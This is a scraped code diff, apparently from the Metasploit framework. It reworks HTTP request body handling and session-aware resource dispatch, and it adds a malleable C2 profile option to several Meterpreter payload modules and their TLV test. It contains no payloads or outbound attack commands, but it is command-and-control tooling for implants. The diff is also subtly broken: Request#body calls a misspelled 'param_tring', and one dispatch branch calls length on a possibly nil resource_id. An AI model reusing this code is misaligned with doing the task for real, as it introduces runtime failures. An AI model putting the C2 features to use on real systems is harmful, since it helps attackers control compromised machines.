# utterly ridiculous behaviour while maintaning the status-quo of having the request
|
||||
# class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal
|
||||
# buffer to collect the request's body, rather than using the attribute, which prevents
|
||||
# this insanity from happening.
|
||||
#
|
||||
def body=(val)
|
||||
@body_bytes = val
|
||||
end
|
||||
|
||||
def body
|
||||
@body_bytes
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the supplied buffer. Returns one of the two parser processing
|
||||
# codes (Completed, Partial, or Error).
|
||||
@@ -116,7 +133,7 @@ class Packet
|
||||
self.inside_chunk = false
|
||||
self.headers.reset
|
||||
self.bufq = ''
|
||||
self.body = ''
|
||||
@body_bytes = ''
|
||||
end
|
||||
|
||||
#
|
||||
@@ -127,7 +144,7 @@ class Packet
|
||||
self.transfer_chunked = false
|
||||
self.inside_chunk = false
|
||||
self.headers.reset
|
||||
self.body = ''
|
||||
@body_bytes = ''
|
||||
end
|
||||
|
||||
#
|
||||
@@ -254,7 +271,6 @@ class Packet
|
||||
attr_accessor :error
|
||||
attr_accessor :state
|
||||
attr_accessor :bufq
|
||||
attr_accessor :body
|
||||
attr_accessor :auto_cl
|
||||
attr_accessor :max_data
|
||||
attr_accessor :transfer_chunked
|
||||
@@ -409,11 +425,11 @@ protected
|
||||
# to our body state.
|
||||
if (self.body_bytes_left > 0)
|
||||
part = self.bufq.slice!(0, self.body_bytes_left)
|
||||
self.body += part
|
||||
@body_bytes += part
|
||||
self.body_bytes_left -= part.length
|
||||
# Otherwise, just read it all.
|
||||
else
|
||||
self.body += self.bufq
|
||||
@body_bytes += self.bufq
|
||||
self.bufq = ''
|
||||
end
|
||||
|
||||
|
||||
@@ -217,16 +217,16 @@ class Request < Packet
|
||||
str + super
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hijacked version of the body that shoves the request's query string in as a
|
||||
# replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯
|
||||
#
|
||||
def body
|
||||
str = super || ''
|
||||
if str.length > 0
|
||||
return str
|
||||
if str.length == 0 && PostRequests.include?(self.method)
|
||||
str = param_tring
|
||||
end
|
||||
|
||||
if PostRequests.include?(self.method)
|
||||
return param_string
|
||||
end
|
||||
''
|
||||
str
|
||||
end
|
||||
|
||||
#
|
||||
@@ -271,6 +271,11 @@ class Request < Packet
|
||||
def meta_vars
|
||||
end
|
||||
|
||||
#
|
||||
# An identifier associated with the incoming request, can be used to match requests with sessions.
|
||||
#
|
||||
attr_accessor :conn_id
|
||||
|
||||
#
|
||||
# The method being used for the request (e.g. GET).
|
||||
#
|
||||
|
||||
@@ -165,7 +165,7 @@ class Server
|
||||
end
|
||||
|
||||
# If a procedure was passed, mount the resource with it.
|
||||
if (opts['Proc'])
|
||||
if opts['Proc']
|
||||
mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])
|
||||
else
|
||||
raise ArgumentError, "You must specify a procedure."
|
||||
@@ -182,8 +182,10 @@ class Server
|
||||
#
|
||||
# Adds Server headers and stuff.
|
||||
#
|
||||
def add_response_headers(resp)
|
||||
def add_response_headers(req, resp)
|
||||
resp['Server'] = self.server_name if not resp['Server']
|
||||
expl = self.context['MsfExploit']
|
||||
expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -274,24 +276,39 @@ protected
|
||||
#
|
||||
def dispatch_request(cli, request)
|
||||
# Is the client requesting keep-alive?
|
||||
if ((request['Connection']) and
|
||||
(request['Connection'].downcase == 'Keep-Alive'.downcase))
|
||||
if request['Connection'] && request['Connection'].downcase == 'keep-alive'
|
||||
cli.keepalive = true
|
||||
end
|
||||
|
||||
# Search for the resource handler for the requested URL. This is pretty
|
||||
# inefficient right now, but we can spruce it up later.
|
||||
p = nil
|
||||
len = 0
|
||||
root = nil
|
||||
# first, try to match up the request with a handler based on a matching
|
||||
# function that's present in the context, if specified.
|
||||
expl = self.context['MsfExploit']
|
||||
resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id)
|
||||
request.conn_id = resource_id
|
||||
|
||||
resources.each_pair { |k, val|
|
||||
if (request.resource =~ /^#{k}/ and k.length > len)
|
||||
p = val
|
||||
len = k.length
|
||||
root = k
|
||||
end
|
||||
}
|
||||
if resource_id && resources[resource_id]
|
||||
p = resources[resource_id]
|
||||
len = resource_id.length
|
||||
root = request.resource
|
||||
elsif resources[request.resource]
|
||||
p = resources[request.resource]
|
||||
len = resource_id.length
|
||||
root = request.resource
|
||||
else
|
||||
# Search for the resource handler for the requested URL. This is pretty
|
||||
# inefficient right now, but we can spruce it up later.
|
||||
p = nil
|
||||
len = 0
|
||||
root = nil
|
||||
|
||||
resources.each_pair { |k, val|
|
||||
if (request.resource =~ /^#{k}/ and k.length > len)
|
||||
p = val
|
||||
len = k.length
|
||||
root = k
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
if (p)
|
||||
# Create an instance of the handler for this resource
|
||||
|
||||
@@ -38,7 +38,7 @@ module ServerClient
|
||||
response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close'
|
||||
|
||||
# Add any other standard response headers.
|
||||
server.add_response_headers(response)
|
||||
server.add_response_headers(self.request, response)
|
||||
|
||||
# Send it off.
|
||||
put(response.to_s)
|
||||
|
||||
@@ -28,6 +28,7 @@ module MetasploitModule
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
@@ -45,6 +46,7 @@ module MetasploitModule
|
||||
|
||||
def generate_config(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:c2_profile] = datastore['MALLEABLEC2']
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -28,6 +28,7 @@ module MetasploitModule
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
@@ -45,6 +46,7 @@ module MetasploitModule
|
||||
|
||||
def generate_config(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:c2_profile] = datastore['MALLEABLEC2']
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -28,6 +28,7 @@ module MetasploitModule
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
@@ -45,6 +46,7 @@ module MetasploitModule
|
||||
|
||||
def generate_config(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:c2_profile] = datastore['MALLEABLEC2']
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -28,6 +28,7 @@ module MetasploitModule
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
|
||||
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
|
||||
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
|
||||
])
|
||||
@@ -45,6 +46,7 @@ module MetasploitModule
|
||||
|
||||
def generate_config(opts = {})
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
opts[:c2_profile] = datastore['MALLEABLEC2']
|
||||
|
||||
# create the configuration block
|
||||
config_opts = {
|
||||
|
||||
@@ -123,7 +123,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
|
||||
|
||||
context "Any non group TLV_TYPE" do
|
||||
subject(:tlv_types){
|
||||
excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"]
|
||||
excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"]
|
||||
typeList = []
|
||||
Rex::Post::Meterpreter.constants.each do |type|
|
||||
typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s)
|
||||
|
||||
Reference in New Issue
Block a user